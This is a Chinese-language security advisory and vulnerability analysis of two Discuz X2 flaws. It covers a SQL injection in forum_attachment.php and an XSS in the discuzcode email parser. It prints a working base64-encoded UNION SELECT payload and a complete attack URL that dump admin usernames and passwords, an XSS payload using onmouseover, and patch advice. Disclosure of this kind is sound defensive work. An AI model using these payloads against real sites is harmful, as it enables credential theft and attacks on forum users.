近日,Discuz X2 被爆出了两个 0day,一个是 SQL 注入漏洞,攻击者可利用该漏洞获取到用户名与密码,另一个是 XSS 注入漏洞,攻击者可实
现网站挂马、网站钓鱼等行为,目前官方已针对此问题发布了 0629 版,以下内容是 Nevel 安全团队的 IMIYOO 针对 disucz
X2 此次 0day 所做的漏洞分析报告。

SQL 注入问题描述:

SQL 是一种数据库攻击方式,攻击者利用畸形的客户端输入,如果过滤不够,程序就会执行过多的数据库命令,从而会引发数据泄漏,服务器被入侵等一系列问题;危害等级高。

分析报告:

问题的具体原因发生在 source/module/forum/forum_attachment.php,代码如下图:

其中 $_G[『gp_aid』] 是由用户提交的变量 aid 所产生,而程序是将 aid 经过 base64_decode 后再传入 SQL 查询,在传入给
SQL 查询之前也没有作任何判断;但这正好给攻击者提供 base64 加密绕过 Discuz 自身的 SQL 攻击检测程序,从而产生 SQL 注入漏洞。

构造 Sql_Exploit:

mod=attachment //包含漏洞文件
findpost=imiyoo //保证 $_G[『gp_findpost』] 不为空,使程序进入恶意 SQL 查询流程
aid=base64_encode(「1'
and 1=2 union all select 1,concat(username,0x7C,password) from
pre_common_member where username like 'admin|Nevel|Nevel|Nevel|Nevel」)
//

构造 SQL 利用语句爆出用户名和密码,其中后面有 4 个』|』 用来产生 5 个变量

从而完整的攻击语句如下:

http://target/forum.php?mod=attachment&findpost=imiyoo&aid=
MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsY29uY2F0KHVzZXJuYW1lLDB4N0MscGFzc3dvcmQpIGZyb20gcHJlX2NvbW1vbl9tZW1iZXIgd2hlcmUgIHVzZXJuYW1lIGxpa2UgJ2FkbWlufE5ldmVsfE5ldmVsfE5ldmVsfE5ldmVs

攻击效果如下图:

XSS 问题描述:

XSS 是一种客户端攻击方式,攻击者可以可以向 Web 页面里插入恶意 html 代码,当用户浏览该页之时,嵌入其中 Web 里面的 html 代码会被执
行,从而可以达到恶意攻击用户的特殊目的。利用该 XSS 漏洞,攻击者可以实现 1 网站挂马 2 网站钓鱼 3 CSRF 攻击;危害等级中。

分析报告:

具体原因发生在 source/function/function_discuzcode.php 中的,在 discuzcode 函数中,我们可以看
到,程序员直接将用户输入的 [emai][/email] 信息利用 preg_replace 函数进行替换,但在该函数中存在一个问题,当用户提交的变量中
含有双引号等特殊字符的时候,函数会将它们转义后再进行输出,而程序作者没有对其进行过滤,就传给了 parseemail 函数;

在 parseemail 函数,如下:

其中 $text 变量也是没有进行过滤,就直接输出到客户端,从而造成了 XSS 漏洞。

构造 Xss_Exploit 如下:

[email][url]」http://www.imiyoo.com  onmouseover=alert(/Discuz-XSS-Exploit/); 「[/url][/email]

漏洞的修补:

当我们输入上面的恶意数据,经过 preg_replace 函数转换后,会将双引号表示字符串的实际意义进行转义,而将其作为字符串的一部分进行输出,从而造成 XSS 攻击,如下图:

因此我们需要将 preg_replace 转换后的变量进行转化,将转义字符』』 进行过滤。

安全建议:手动安装官方最新的版本 http://www.discuz.net/thread-2168918-1-1.html

来源:Nevel 安全小组 作者:IMIYOO